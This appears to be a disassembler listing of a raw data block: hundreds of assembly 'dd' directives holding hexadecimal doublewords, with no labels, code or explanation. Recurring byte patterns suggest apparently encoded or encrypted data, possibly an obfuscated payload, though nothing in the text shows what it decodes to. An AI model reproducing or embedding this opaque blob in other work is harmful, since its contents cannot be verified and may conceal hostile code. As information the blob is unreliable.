		dd 89BB3054h, 0D7DCE3B8h, 0F1BDDECh, 4825D753h,	0A6B031CBh
		dd 56ABA2DBh, 6903A032h, 6623EAE2h, 9EAEBB55h, 6F33EB30h
		dd 0FFC668DDh, 0D7553054h, 38D3BEF2h, 59ABB132h, 56D5A1B3h
		dd 56E15832h, 2544B132h, 0D97FE2A3h, 0A8BDB7FAh, 30CED14Ah
		dd 0CA445EB3h, 3CA5A80h, 19474ECBh, 59E2B376h, 5675BBB3h
		dd 56BF5832h, 1D4B132h,	0B52E5F0h, 56403A3Dh, 4442B132h
		dd 45D5B132h, 50D29AAh,	0B7AFD471h, 0A6969C89h,	0A273A5CFh
		dd 0AAEB38CCh, 57DFBECAh, 0AFABB132h, 2B564853h, 0D3E5B0CEh
		dd 5675B312h, 0BB003ACAh, 365A4B2Eh, 30663A52h,	85A062B3h
		dd 5426BE53h, 0DCD5B132h, 0BFBAD0CEh, 5675B134h, 0E6F59DC0h
		dd 0D4D6C1CDh, 5EACF4EAh, 5657B8DBh, 0FCDE8C32h, 1BE0E0B6h
		dd 6AD3A6B1h, 592D4802h, 56BB6AB0h, 57D8BE32h, 0AAAEB132h
		dd 4E3E0BB9h, 5842B6C8h, 0F3D5B132h, 11C9A103h,	8870A3C0h
		dd 0A66EED6Dh, 45B4E1E7h, 0C1AEB132h, 434F4954h, 2C6882B0h
		dd 0CCA1AA46h, 510BDF51h, 0D4FEACF9h, 5EB8F4EAh, 56503A3Dh
		dd 0EFCEB132h, 399939FDh, 56AB3F3Dh, 6FB4B132h,	5303810Eh
		dd 5175B132h, 63D5AD42h, 23D2BE6Ah, 36AEB133h, 0D78A418Ch
		dd 5424BE54h, 0E0D5B132h, 0D0E5D017h, 5675B125h, 56BAA3DBh
		dd 260EB732h, 223DB21Ah, 274DAA00h, 322A1175h, 0BF79CEE1h
		dd 56EAB143h, 567C353Dh, 0E0DAB132h, 0A0DCD729h, 91CFCE67h
		dd 56554977h, 0BECBB132h, 56D5B122h, 92A09FC0h,	0FE403BBAh
		dd 78B0F1D2h, 0C152C060h, 0D780E3Dh, 57D0BE53h,	0A3ABB132h
		dd 56D585DBh, 56E15832h, 908BB132h, 8A690236h, 8783F88h
		dd 0AEEB761Bh, 5657B133h, 56ABBADBh, 11095F32h,	46C16757h
		dd 43B476Fh, 56BC5852h,	0BFDAB132h, 0FCC17ADBh,	96ED3A53h
		dd 36A3B371h, 495ED0CBh, 9B393052h, 37425DF6h, 0D2B56A39h
		dd 565DB18Ah, 5425BE52h, 0DD57B132h, 37723AF9h,	2C073052h
		dd 59A7BCB1h, 6D144085h, 1A3FBEECh, 595DB132h, 56AEB0B9h
		dd 0BDC4932h, 56AE583Eh, 0B277B132h, 0D5864486h, 5975494Fh
		dd 56BA95B6h, 4FD3BE32h, 0BFAEB132h, 5657B126h,	0AEDF3022h
		dd 2A5A08D4h, 744936C9h, 0EE84B2D4h, 997F22D0h,	0AFA5EC31h
		dd 52F138C7h, 5656373Dh, 0D55EB132h, 5D3CA5F5h,	1FEAB132h
		dd 2CF62B26h, 0D6F7D106h, 3DB4D56Ah, 59514ECDh,	5657B6BCh
		dd 572EBE32h, 0AFD5B132h, 53037101h, 0D575B132h, 0F6735A7Ah
		dd 565934DBh, 56BC5832h, 0CB55B132h, 0F47DBBEAh, 870853D8h
		dd 3349318Ch, 2C453748h, 59A43A54h, 565DBDBDh, 56A95832h
		dd 16E6B132h, 3BB691C7h, 5AA83A95h, 56EAA0DBh, 0B8944632h
		dd 0C7A45337h, 0CC4C1B62h, 0B27A016Ch, 0ADD7A984h, 0D62FBED9h
		dd 0AFD5B132h, 56EABEDBh, 3BAD7732h, 2DED546h, 0BC4DB3DCh
		dd 0D3D6AAFAh, 0AAA752B2h, 59DB4AB2h, 56D506B6h, 0BFBCD132h
		dd 5675B123h, 99300B12h, 0E8D0E7EEh, 0FC165896h, 15D9C17Bh
		dd 36CBEBC4h, 216ED753h, 368BD06Bh, 5675A3DBh, 93A5B432h
		dd 0F1C2B121h, 0CFB48219h, 0F37C90B5h, 5798CE9h, 378ED052h
		dd 56EBA0DBh, 42FBBE32h, 0BFBAB132h, 565DB13Dh,	0C00B3DD1h
		dd 0AACE1031h, 78173DBEh, 90558B9Eh, 53035835h,	0A675B132h
		dd 6DCFE5B3h, 565CF6F5h, 0BFAEB132h, 5657B126h,	8D99856Eh
		dd 0E1040562h, 0EA451445h, 88B35951h, 0FCFC4C68h, 0AA3D76B9h
		dd 536E3253h, 5657B7DBh, 0A47E5F32h, 362229BAh,	56EA373Dh
		dd 509CB132h, 2CBAB132h, 4C13FF08h, 947D084h, 0AF57B131h
		dd 59AC7654h, 485F483Ah, 301D3A52h, 7F2850B3h, 59593153h
		dd 566E313Dh, 0BFCEB132h, 5657B126h, 0DC0E0948h, 0D951E912h
		dd 180C86A3h, 860F2670h, 0C713C73Eh, 565DA3DAh,	17FA8C32h
		dd 4C37DA1Dh, 8B2EA97Ah
		dd 27F90D98h, 84BC2F3h,	0D6BE3153h, 57E539CBh, 541A76CAh
		dd 56AEB132h, 87D6E652h, 0FC4FC33h, 915ED06Ch, 9F6BD752h
		dd 0D514948Fh, 0BF42B7F2h, 565DB3D4h, 56A23E3Dh, 3037B132h
		dd 34027BB3h, 0D7153054h, 598AD066h, 5675B7B5h,	563BBE32h
		dd 0D75DB132h, 0B96AB6E9h, 0D731D00Fh, 593B210Ch, 56D5EBB6h
		dd 56FB5832h, 0AE70B132h, 505A0F83h, 731276FAh,	0FED790F7h
		dd 0A3C0DA26h, 593B8FB2h, 56D5D3B7h, 5B64BE32h,	3675B132h
		dd 0FF653054h, 56D8BE38h, 37AEB132h, 0A9293054h, 0D2A421A2h
		dd 56D5B129h, 56D758C7h, 0BF15B132h, 56BAB134h,	5CD68C78h
		dd 0D8A1DB35h, 5657B130h, 0DDCA6FB9h, 4C5CBEF5h, 36EAB132h
		dd 5675A3DAh, 0EBD05D32h, 21CE650Fh, 319BEA3h, 4D6D9872h
		dd 98CB8B0h, 54E15853h,	0DB13B132h, 543290B0h, 56A8583Ah
		dd 408EB132h, 5B619031h, 3D00095Eh, 0D7755E5Ah,	1D30B208h
		dd 56E0393Dh, 3015B132h, 0D0577B9h, 3762E47Dh, 5E47D162h
		dd 0E357B132h, 6359E13Bh, 593CDE92h, 56EAB5B9h,	0CDCED732h
		dd 0AEECD0DDh, 123623CDh, 5D57B930h, 6BD3BEF2h,	59ABB132h
		dd 56D5B8BAh, 0D78CD132h, 0DD91E2F4h, 9E31D0F4h, 77EF3CCEh
		dd 36A6B375h, 81E0BEC7h, 56AC5853h, 0EFDDB132h,	4712D47Bh
		dd 5610580Ah, 36DAB132h, 5750858Ah, 0BEEB0866h,	37368D40h
		dd 5F42D164h, 47D5B132h, 172741EEh, 0FD8311D4h,	56BAB9DBh
		dd 21DA8E32h, 9737CD47h, 98DCD0F9h, 0A952E4CBh,	5491FEA0h
		dd 59B7483Ah, 5675B6BBh, 573CBE32h, 0AE5DB132h,	0A1577F19h
		dd 0BF0948EBh, 56ABB121h, 9C951132h, 50012EA6h,	2C7B7663h
		dd 0EB17B23h, 0D5FCCC3Bh, 59AF494Fh, 56571AB7h,	0D7CDD132h
		dd 37E930D0h, 0FC12F882h, 56785952h, 55ADB132h,	9B14E002h
		dd 0B5A93832h, 0DC1EC689h, 0BFFBEACCh, 56D5B138h, 66D5C748h
		dd 0F8BD96EFh, 37E0A065h, 0D3520954h, 3605D7CAh, 11803054h
		dd 56A758C5h, 521CB132h, 4C7978CEh, 3395824Bh, 59DB09ABh
		dd 365CF784h, 0DDC84AB9h, 0DC58D0ECh, 56ABB12Ah, 56D5A2DBh
		dd 9A334732h, 0A4ED2C70h, 841A93BFh, 36B42DA3h,	0ACB0ECDAh
		dd 56445899h, 852BB132h, 3A6B3429h, 95DD55B1h, 7AB4E6Ch
		dd 9FD7C63Dh, 56CE58D0h, 0DBA1B132h, 5657B13Eh,	56AD353Dh
		dd 0DEDAB132h, 56EAB132h, 548DCCB1h, 56C8343Dh,	0E23DB132h
		dd 0D47630CEh, 371134C5h, 9FA00954h, 56D5BBDBh,	3DFFC232h
		dd 0B0F79704h, 306AB9D1h, 51D1BE99h, 59AEB132h,	5657B0B4h
		dd 0EECD4D32h, 30B5353Dh, 0B25169B3h, 5675B7DBh, 0EC9A6D32h
		dd 37817EB8h, 50471A54h, 5A57B132h, 0D7A807A3h,	1063BE57h
		dd 59414433h, 5675B5BBh, 0DEAD132h, 76E6D153h, 37B20AD4h
		dd 5657BDDBh, 5724BE32h, 0AAD5B132h, 0A38A15C1h, 59B23A53h
		dd 56BAB9BCh, 54D6BE32h, 36AEB132h, 360C4853h, 8A810E52h
		dd 5E3DC7E4h, 58EAB132h, 0E475610Ch, 0C50AD4Fh,	54D5BE53h
		dd 7AEB132h, 0AE0ED06Bh, 59F4496Ch, 56D5A4B6h, 5D02D132h
		dd 2975B132h, 0FB96A99Bh, 98AB6CCBh, 0E7F7C933h, 599ED008h
		dd 56ABAEB7h, 0B054D132h, 2C58AEC5h, 5675A0DAh,	0EAE2632h
		dd 0CFF177Ah, 68AF2D1Bh, 0C2C8C6D3h, 37F4CCE0h,	56DD73CBh
		dd 56EABEDBh, 167F5B32h, 0CDD96CA6h, 75D75749h,	63172D73h
		dd 56515867h, 5E01B132h, 0A015923h, 56E35852h, 3D84B132h
		dd 2BBE4900h, 0ED2F813Ch, 5D75CDB0h, 36BB3A53h,	36CABB80h
		dd 56D559CBh, 0D7B0B132h, 5401AFD8h, 4238BE3Ah,	595DB132h
		dd 56AEBFBEh, 565E5832h, 5EEEB132h, 0C9F40220h,	0BFD7EBACh
		dd 5675B134h, 0CC43A175h, 13D64604h, 0D427483Ah, 5E55F2C2h
		dd 0DDA4D0CEh, 56D5B13Eh, 56EC393Dh, 0D47AB132h, 56BAB132h
		dd 529F48FBh, 56A05832h, 0BF48B132h, 0DCCD38A3h, 0EDF4C691h
		dd 0B73A345Fh, 5EF8BE67h, 59BAB132h, 565DB3B4h,	0DDCFD132h
		dd 57EFD1DEh, 0E9E6AE68h, 6B5BFDF2h, 56FE5853h,	6591B132h
		dd 40AED4CFh, 6C116A3Ch, 0AC0B1912h, 0D93BDB87h, 922875BBh
		dd 0BFB544CAh, 56EAB123h, 0DCBD42B6h, 0CE89A047h, 0B1B3C28Ah
		dd 37D9D2EBh, 5657592Eh, 0D7F1B132h, 54A167D8h,	5361BE3Ah
		dd 3675B132h, 376403CBh, 0E152E752h, 0DBA1EEEDh, 5657B131h
		dd 37510E3Dh, 56C23B3Dh, 4403B132h, 4D75B132h, 2C566C8Dh
		dd 0CB731E15h, 5D29629Eh, 0BC259DD5h, 0AEEE7620h, 56D5B132h
		dd 56EAA0DBh, 0F87EC132h, 0C19A9EC2h, 91635E7Ah, 243F6167h
		dd 1390216Fh, 56ABB1CEh, 5A50BE32h, 36EAB132h, 1A9D3054h
		dd 963BD7E6h, 363C845Dh, 897B0E54h, 36978253h, 30EF5CB2h
		dd 3765A58Dh, 0BFF43A54h, 5675B139h, 0CBC7BC74h, 0B122658Bh
		dd 0BF1D22E2h, 5657B13Ah, 47DE3BFAh, 256D2901h,	133233F5h
		dd 5674B930h, 3046B132h, 0C6CD4AB3h, 56A9343Dh,	0DF58B132h
		dd 56ABB133h, 0BE2E31CBh, 53B0353Dh, 5915B132h,	56BAA8B8h
		dd 56495832h, 0CE7FB132h, 13B7E2C4h, 7AADCD7Eh,	0C754C631h
		dd 0C9280963h, 0D37ACB3Bh, 56BAB136h, 56430E54h, 0BFCEF153h
		dd 5657B137h, 93BC1B94h, 0D620D069h, 0D2E558C9h, 5675B42Ah
		dd 56BAB8DBh, 282CA232h, 0B5A86CFBh, 3037F7DAh,	59F8AC88h
		dd 16B44A8Dh, 56F63D3Dh, 0BF15B132h, 56BAB135h,	2CF79A52h
		dd 0BF493047h, 5657B13Bh, 1B8422DEh, 15E2D557h,	4203D05Bh
		dd 7975B132h, 0A9FAEAEBh, 0A448272h, 97CB697Ch,	0C2B8CFADh
		dd 0D62D8190h, 0D2DA5AC9h, 56EAB58Eh, 0D97AF1CAh, 56BAB13Ch
		dd 565DB8DBh, 3501E332h, 31BE2C5Fh, 0B12BCE4Fh,	0D7B3D1C2h
		dd 0EECED8D3h, 43A54B89h, 0AD3BD753h, 0D252313Dh, 56AEB5BEh
		dd 5657BCDBh, 4EF5C332h, 0E4DFFDF9h, 1D334EBDh,	415B01Ch
		dd 0D443A54h, 5649363Dh, 5846B132h, 3057B132h, 24F42538h
		dd 0BAB0F459h, 71236990h, 5514EBC6h, 0AC9A2CB0h, 303DD135h
		dd 8FF4FB9h, 378D3A53h,	56ABA3DBh, 25C3B232h, 72113A3Eh
		dd 0FBB7F7D7h, 30798E8Dh, 16D005AEh, 56AEB4DBh,	0DD85B332h
		dd 0AD2B3823h, 0A951BED0h, 36EAB131h, 64415BB3h, 0D6DBDB4Eh
		dd 0D25252C9h, 56AEB2E0h, 0ADD6D7C7h, 0D2A45255h, 56D5B2D0h
		dd 56ED343Dh, 0D77AB132h, 56BAB133h, 0A6BE31CAh, 522ABE52h
		dd 3057B132h, 363FC48Ah, 9C5FD052h, 308AD053h, 30C4BE88h
		dd 0D6DB6BB9h, 0D252C1C9h, 56AEB2FEh, 564A313Dh, 36CBB132h
		dd 56C15853h, 0FEE9B132h, 150B1ABCh, 0EC05F3D4h, 0ECB0C6BDh
		dd 0BDA0D7E7h, 3036FDD5h, 0D4A4AFB9h, 56D5B138h, 56EAB4DBh
		dd 0FE919732h, 0B53ACFEBh, 4DDCBECAh, 59AEB132h, 5657A4B3h
		dd 56BB5832h, 0FE5CB132h, 0DCD47F6h, 0A1C65974h, 313674CCh
		dd 0ADDD1014h, 0E62ABE8Ah, 0BF57B133h, 56ABB126h, 7E0E9B49h
		dd 18FBC7F6h, 0B4B8F209h, 0F4DEBBE4h, 0F0FF4BD2h, 59AB8FB2h
		dd 56563FB6h, 0A52BD132h, 56D0598Ch, 2740B132h,	304B1E45h
		dd 0AD8761B3h, 68DDD06Dh, 262ABE1Fh, 3657B133h,	85F3A588h
		dd 8562BE6Bh, 5F6FBE53h, 3675B132h, 0D7DCD052h,	373376D0h
		dd 59C68FB2h, 5656FFB6h, 5D2CBE32h, 0BFD5B132h,	56EAB134h
		dd 149FB38Ah, 164309A9h, 8EDF4ECAh, 59A6B377h, 5657B0B1h
		dd 0DDCD4932h, 56C6582Ch, 9F08B132h, 0DFD8CD3Bh, 8D94F478h
		dd 1B01B71Eh, 2C967A76h, 0AEB03129h, 0AD2AD7C7h, 0D2DA59B3h
		dd 56EAB031h, 0E97AE152h, 0D7DCEBC5h, 378B8AD8h, 59B03A54h
		dd 5657BBB0h, 591BD132h
		dd 102641B3h, 0D68BCEF1h, 0DC1541D5h, 370702DEh, 0D7A63054h
		dd 862ABEF2h, 0BF57B132h, 56ABB126h, 0C38A630h,	0FC8F6298h
		dd 8CC5F566h, 0D1871F7Ch, 0FBB3A877h, 4E2CBE52h, 0BF57B132h
		dd 56ABB121h, 5D6DB124h, 0CAA94DC4h, 0BE268FD1h, 271081E4h
		dd 3631E45h, 56AEB9DBh,	0AF346A32h, 0F240D49h, 19474E3Bh
		dd 0BFE2B376h, 5675B13Bh, 7131E95Fh, 0BB5634E4h, 0D5A1ECF4h
		dd 5657B12Ah, 56A55852h, 3D6AB132h, 980B66E2h, 0FD10CB08h
		dd 15D7103Dh, 379F3A54h, 0BF52F4BBh, 5657B120h,	0ABEE829Eh
		dd 2C6515E5h, 78324011h, 6A80B582h, 36DA4004h, 37A33A54h
		dd 4447D053h, 457B132h,	0D5B8BFECh, 389A7B0Fh, 0E37E8927h
		dd 471CC0D6h, 0AAC7326Dh, 75D8BE33h, 0BFAEB134h, 5657B13Dh
		dd 0CA979E9h, 8F3A88BBh, 2FE618A9h, 0DDA3159Fh,	0ACA65C88h
		dd 564F5835h, 0DCDBB132h, 4F1DA4A2h, 0DD86F957h, 258501A8h
		dd 21DEEEB4h, 5674303Dh, 642B132h, 8EDF3ACAh, 0AFA6B377h
		dd 36678D0Bh, 37613A54h, 0D4DAE9CBh, 56EAB4E0h,	5675BCDBh
		dd 8BFE6E32h, 9E0B8061h, 40F8F605h, 0ECDC7A9Ah,	5151A95Bh
		dd 0E71A3A52h, 0BFBAD0AEh, 5675B13Eh, 10830FFAh, 3A42E71Ch
		dd 73AE68C0h, 5657BEDBh, 755EE432h, 0A6FA3168h,	7A0E6B94h
		dd 0AF425BEBh, 136233B9h, 6FA4B930h, 0D0A1810Eh, 5657B13Ah
		dd 56A9383Dh, 37B5B132h, 3965BE6Ah, 5975B137h, 56BAA7BDh
		dd 564C5832h, 0ADA3B132h, 179C8A24h, 38F68946h,	0E8F648C9h
		dd 0DDDE98D0h, 54365488h, 0D4394D3Ah, 5E5FF2D7h, 5F26BE26h
		dd 3657B132h, 351272B9h, 3794DB7Eh, 56FD383Dh, 449CB132h
		dd 2DBAB132h, 2016E72h,	90058794h, 7F3B5DDDh, 322C579Ch
		dd 59E2387Bh, 56EAA8B6h, 56615832h, 6F9CB132h, 4B3DACh
		dd 0C50CB865h, 43BB57B7h, 9BF1FFBCh, 115C2FA1h,	0BFBA4422h
		dd 5675B138h, 2B316F2Bh, 9C2D909h, 0D425C0A5h, 5E55F4EAh
		dd 56ABA0DBh, 60C72C32h, 3ADB584Dh, 1A1A0CEh, 1E56FA55h
		dd 4AD6C898h, 56A85802h, 8A44B132h, 0E64ED7C8h,	56D3383Dh
		dd 308AB132h, 37622F8Bh, 933486Ah, 5BD6BE3Ah, 0BFAEB132h
		dd 5657B13Ah, 0F80B1F49h, 80AD478Dh, 56EE20DBh,	13B24832h
		dd 56BAB3CAh, 13DD132h,	5622BE68h, 3757B132h, 376D3A54h
		dd 56D5AEDBh, 132D4932h, 5675B0CAh, 0AB0CD132h,	565DBFDBh
		dd 0A7B4932h, 15A6EDD8h, 65ECFBF1h, 37F13744h, 150F0BB9h
		dd 0DF7AB930h, 56BAB137h, 90F4D52h, 0B32C3253h,	425FB371h
		dd 56A7383Dh, 0D8DAB132h, 56EAB134h, 5675343Dh,	6133B132h
		dd 461A38CAh, 812FD752h, 0E9581E98h, 0AE28D0C4h, 1950BE31h
		dd 36EAB132h, 0BFBF063Dh, 56BAB13Eh, 8EC5E2DCh,	396C59CDh
		dd 298C309h, 8E297653h,	54DDB377h, 59EAB132h, 5675B0B1h
		dd 0BF424432h, 565DB10Ch, 522CBE52h, 3057B132h,	360EC78Ah
		dd 56D5BCDBh, 8C71C32h,	785B1F93h, 963F6C9Ch, 9AD7F679h
		dd 0AE2DD053h, 3BDABE30h, 36ABB130h, 56D03A3Dh,	8F52B132h
		dd 0D75DC484h, 0DE4691C2h, 2BDED036h, 0D2A1B1CAh, 5657B1F3h
		dd 0A12AD752h, 0D6826BBEh, 37B2B6E9h, 5733073Dh, 56BAA0DBh
		dd 28BBD632h, 5A5C2062h, 0EA3CDAAAh, 0ACFAF2ADh, 0D67C5A8Bh
		dd 59EAB132h, 5675D7B7h, 8F3BD132h, 3B8D0C96h, 0D3A1F153h
		dd 5657B13Fh, 5622BE52h, 0ECD5B132h, 7DB92E6Dh,	53FBBE53h
		dd 36BAB132h, 37A8E964h, 36AB59B1h, 27E33F89h, 5525BE53h
		dd 30D5B132h, 0A38B72B9h, 5675F1DBh, 503EBE32h,	365DB132h
		dd 9B920854h, 58BED153h, 0BFABB132h, 0B6B9E489h, 0B92D9916h
		dd 4267CA95h, 973BD7E7h, 7B3C179Ch, 56AEB1CDh, 37AB0552h
		dd 59AE59B1h, 56D5B9BCh, 5466BE32h, 3675B132h, 56885853h
		dd 0BFA1B132h, 56AEB137h, 6C4AF6B6h, 5842E205h,	0ABD5B132h
		dd 0C44FA191h, 6763F0EFh, 0C2379591h, 8EC73ABAh, 0AEA6B377h
		dd 5964B5B9h, 56ABB0BDh, 0A38E4432h, 56EAB19Bh,	0F8F0BEB2h
		dd 0AFBAB132h, 363D7731h, 0A37D063Dh, 0BF364953h, 56ABB138h
		dd 66D8FAE4h, 73ED9AC9h, 96F63ABFh, 5152D137h, 0B85DB132h
		dd 59ECA7D2h, 5EBE10ECh, 0D7ABB132h, 0FB0CF897h, 0F252136h
		dd 58960F54h, 5E3CBE53h, 595DB132h, 56AEB3BEh, 5536D132h
		dd 54EE69B0h, 599D493Ah, 56EABFB2h, 0DF7AD132h,	56BAB132h
		dd 0A8F65AB3h, 0DFCF9724h, 3637B975h, 8D493054h, 8F62BE90h
		dd 8055BE53h, 11FC4D53h, 5F36BE3Eh, 365DB132h, 30543A54h
		dd 37F58E8Ah, 56A9A8DBh, 405FBE32h, 0BFEAB132h,	5675B123h
		dd 0FAE9D313h, 0A508E9Bh, 89D0BED0h, 0FB969238h, 0BF7346CEh
		dd 56D5B13Ch, 0AE01B80Ch, 27005B95h, 0BC36D9Ah,	90769A17h
		dd 56BA343Dh, 59BEB132h, 0A0ABB132h, 7A1972DFh,	871D1D93h
		dd 6A5D3222h, 8E4D2049h, 539D32CEh, 8E2CB2CAh, 365FB377h
		dd 0D6A44D52h, 56D5B132h, 0A66BD753h, 1E1431C1h, 0AE563B52h
		dd 51DBBE53h, 59AEB132h, 5657B0BDh, 11224932h, 5A5BBE3Ah
		dd 59EAB132h, 5675B7B7h, 5630BE32h, 0DF5DB132h,	0D9A1BD75h
		dd 5657B12Ah, 56B9353Dh, 5B3CB132h, 82EAB132h, 0DBF692DEh
		dd 0CD72DBBBh, 3EBDB19Ch, 56AEB6DBh, 58594232h,	0CC2416F1h
		dd 56D4E4DBh, 5766BE32h, 0AE75B132h, 42537101h,	7E5DB132h
		dd 73AFD42Ah, 49718CB5h, 16C5B10Eh, 0BC14E7BAh,	0DCE2473Dh
		dd 0D57AB074h, 56BAB133h, 59DD19CAh, 56AE0CB7h,	90544432h
		dd 56BE3C3Dh, 463CB132h, 0A0EAB132h, 1FB1A0FEh,	835617A8h
		dd 0D742D0CAh, 0D544F05Bh, 0D758B3F2h, 56ABB13Eh, 56D3373Dh
		dd 0D5E5B132h, 5675B132h, 56BAB089h, 56515832h,	1459B132h
		dd 8BAD4C54h, 66599CCBh, 8DDE2D84h, 56DB353Dh, 0E715B132h
		dd 0DCDB4D2Bh, 56BD5EA8h, 56A7583Ah, 3AA3B132h,	0B612B043h
		dd 0D6D2E259h, 4603B0D1h, 2775B132h, 6948D354h,	6EFAD7EEh
		dd 6D3DA9A4h, 5584CA24h, 53D1F1h, 378BEB62h, 0AEE2F6BBh
		dd 5979F6BBh, 56BAA6B2h, 564F5832h, 0A1AB132h, 0D72773A9h
		dd 2406F6E6h, 44F3F7B3h, 8A1AD4E3h, 5675DCDBh, 0D7DCD132h
		dd 30F5F0h, 8E59D06Bh, 565E3B3Dh, 30CBB132h, 0EFB37FB9h
		dd 738B23CFh, 5675B1CDh, 56B2353Dh, 0D052B132h,	56AEB130h
		dd 907CD052h, 0BF7346CEh, 56D5B123h, 8D787279h,	0E77803C2h
		dd 0E669B60Bh, 39746E81h, 546E32AAh, 5657B4DBh,	3002D432h
		dd 115CE698h, 1163483Ah, 0DD13D13Eh, 5037BEE4h,	595DB132h
		dd 56AEB1B8h, 59AFD032h, 56ABB0B6h, 0BFB44D32h,	56EAB139h
		dd 94D6792h, 18B5304h, 9FA24688h, 56AEA2DBh, 0B1CA3A32h
		dd 38A24A6Ch, 0DCCA75DDh, 2E24BE80h, 0D016434Ch, 56B658F1h
		dd 0ECC4B132h, 0B4BB49EBh, 0A32AC4FCh, 0BFFE6089h, 56D5B138h
		dd 11261DFAh, 0E02E0627h, 59DAAE57h, 565DBAB7h,	56A85832h
		dd 0AA6CB132h, 45730DE4h, 56D5B8DBh, 7AB8BA32h,	46D95D1Dh
		dd 0DDDB9CA6h, 0BE0DD1DEh, 56AEB123h, 0AA353145h, 0CDC928BDh
		dd 0E96621AAh, 64023ED7h, 592DEB55h, 56BAB3B2h,	3703E632h
		dd 9E25D752h, 5657B4DBh, 134DBD32h, 0D5B4F300h,	0D2E54DF6h
		dd 5675B139h, 0EA553052h, 5941AF7Ah, 36CF708Dh,	565759CBh
		dd 0D7F1B132h, 5455A7D8h, 56E1583Ah, 92B0B132h,	0A24BD68Fh
		dd 75303009h, 0A62ED120h, 5288302Dh, 37E1FE9Eh,	15150BB9h
		dd 0BF8AB930h, 5675B122h, 7BAEDBFFh, 0E90E52EDh, 5CF93077h
		dd 0A830E519h, 56ABBEDAh
		dd 31CC5D32h, 3AEE085Fh, 0A78B3A53h, 0FAAF0B1Fh, 65A4D06Ah
		dd 56BE58FBh, 0BBF5B132h, 34FFB9C5h, 776C417Ah,	20BC5617h
		dd 69F607B1h, 9D3EBE32h, 0BF5DB136h, 56AEB138h,	429CF115h
		dd 57BD205Eh, 515EC9C2h, 36123A52h, 37A33A54h, 5ACF4E53h
		dd 5E284ECBh, 379A0152h, 0DD374962h, 56A158FCh,	270CB132h
		dd 0C77DCE76h, 4F160A1Dh, 5F7D5953h, 46B4B132h,	0A0AEB132h
		dd 3949498Eh, 1E74BDF5h, 0DE38FC15h, 0BF037EEFh, 5675B13Fh
		dd 0E6526C91h, 0DA8D4B4Ch, 0B609AF32h, 5997BA7Bh, 56AB88B7h
		dd 515E4832h, 56EAA5DBh, 2E65232h, 0D9FC797Dh, 5E907071h
		dd 474BF058h, 6B718AB1h, 5691587Dh, 453CB132h, 66EAB132h
		dd 86D2AD0h, 0A3A95994h, 81D2ABC3h, 38553434h, 91D40A3Bh
		dd 5E20BE26h, 59D5B132h, 56EAB3BAh, 0BF14D132h,	0A9454E08h
		dd 0B4DCD752h, 0C91189A9h, 371F0019h, 5957F4BBh, 56D5B0BCh
		dd 0DC8A4D32h, 8FCABEE6h, 5ACF4E53h, 45D5BE52h,	0BEAEB132h
		dd 5657B13Fh, 389B1D2h,	371CBB3Fh, 8A9BF00Ch, 0DD13E962h
		dd 2345D0C9h, 51D1BE3Ah, 59AEB132h, 5657B0BFh, 59CB4832h
		dd 56D5A8BEh, 56F95932h, 5552B132h, 0E2F0CFB2h,	8ACB2571h
		dd 3B87C9Dh, 34C9866Bh,	852AEA08h, 5C8E3CF4h, 0A3DD4E53h
		dd 567D7DDAh, 96B14D32h, 564E353Dh, 0BF52B132h,	5657B2B0h
		dd 56AC58C7h, 0F58EB132h, 9C4E90A4h, 0AA303A92h, 59BD88C7h
		dd 565ED8B0h, 0A9CFD132h, 36374D77h, 56AB3B3Dh,	0E8B3B132h
		dd 368BE48Ah, 0FB8B0954h, 3760063Dh, 52223253h,	2B2ABE32h
		dd 5957B132h, 56ABBABCh, 0D3DAD132h, 56EAB132h,	370B52B2h
		dd 56B05952h, 5D52B132h, 0A220EADDh, 1FAD30ACh,	3D265AB3h
		dd 0BF8CCE28h, 56EAB121h, 0FC742124h, 0C79576DAh, 64392B65h
		dd 16F6AD19h, 37D8C0E0h, 56A7CEB1h, 56E7353Dh, 0AF8AB132h
		dd 5675A1DBh, 42933332h, 0F1F72788h, 94AD78BEh,	5DACE17Ah
		dd 6A42D0F9h, 0BFD5B132h, 56EAB122h, 0DED0B7C5h, 343E7CB7h
		dd 0B8BD676Ah, 59DBC124h, 0A9A84E8Ah, 531248CDh, 0AFD5B132h
		dd 0BF161AC1h, 0A98A4FF3h, 59403A52h, 0BF3C688Dh, 56AEB135h
		dd 7A373C8Ah, 0D52D09E7h, 59D0A14Dh, 56EADDB6h,	29F64D32h
		dd 0D3B5B722h, 565DB1A2h, 56A93D3Dh, 0D158B132h, 56ABB133h
		dd 463CF0CAh, 0EAB132h,	0B169D930h, 69EB9D5h, 0FF9CB6F5h
		dd 0DD9F7888h, 47BEB575h, 32ABB132h, 0A66F778Eh, 36D42FE9h
		dd 995A14C5h, 0B761D899h, 0BF51EEB9h, 56AEB139h, 83BAF997h
		dd 0F7FC8F4Dh, 0BF5400D7h, 56EAB0EBh, 81CABE52h, 5636BE65h
		dd 0E5DB132h, 52E93A53h, 0E1584452h, 920D0EAh, 0EFB3D13Eh
		dd 0D78C20F6h, 37A16EC2h, 56BB1DDBh, 51B4D132h,	70AEB132h
		dd 0FF679A04h, 611E8A9h, 379890DCh, 59EEF6B9h, 5675ACB5h
		dd 4132BE32h, 0BF5DB132h, 56AEB120h, 9CDDF699h,	9D522264h
		dd 0BE51926Dh, 989132E3h, 9FE3A1Eh, 903AD13Eh, 56495815h
		dd 0FC03B132h, 0FAF97E5Eh, 1E394F88h, 0A847CB2h, 7126BD34h
		dd 6D14F8F3h, 0D3B5B96Dh, 565DB193h, 365BE3CEh,	0AF1D6DB2h
		dd 52FC3A53h, 875ED752h, 0D09D5B8Bh, 35ED039h, 4A3ABE22h
		dd 365DB132h, 56AEA3DBh, 51BB8932h, 0A0CCB5Eh, 0DF572A2Eh
		dd 0D4762543h, 59C1AA86h, 55DB6185h, 363DA567h,	3E793054h
		dd 0F01D07Dh, 5AF43A53h, 56D8343Dh, 0BE8AB132h,	5675B137h
		dd 0AC156226h, 7D3CEE45h, 56A458E8h, 5F2BB132h,	0E751A85Bh
		dd 9983EF3Ah, 36EF5AB1h, 0DD139385h, 0AEE0D0C0h, 565D19DBh
		dd 8FED132h, 5657A2DAh,	3C10A932h, 93CD3940h, 0B84E7494h
		dd 7A528060h, 1DE34080h, 0D94063Dh, 52E93A53h, 565C5952h
		dd 0D508B132h, 0B00F693Fh, 92142539h, 0E14D1CEh, 0BFDB49B9h
		dd 565DB13Ch, 531E24FDh, 8D91406h, 0BD94E6EEh, 95E4554h
		dd 5A66BE3Eh, 5975B132h, 56BAB7B8h, 56D7BE32h, 7DAEB132h
		dd 5DBEB56Dh, 15ABB132h, 38B3047Ch, 0ECF318FCh,	0BDF63F6Bh
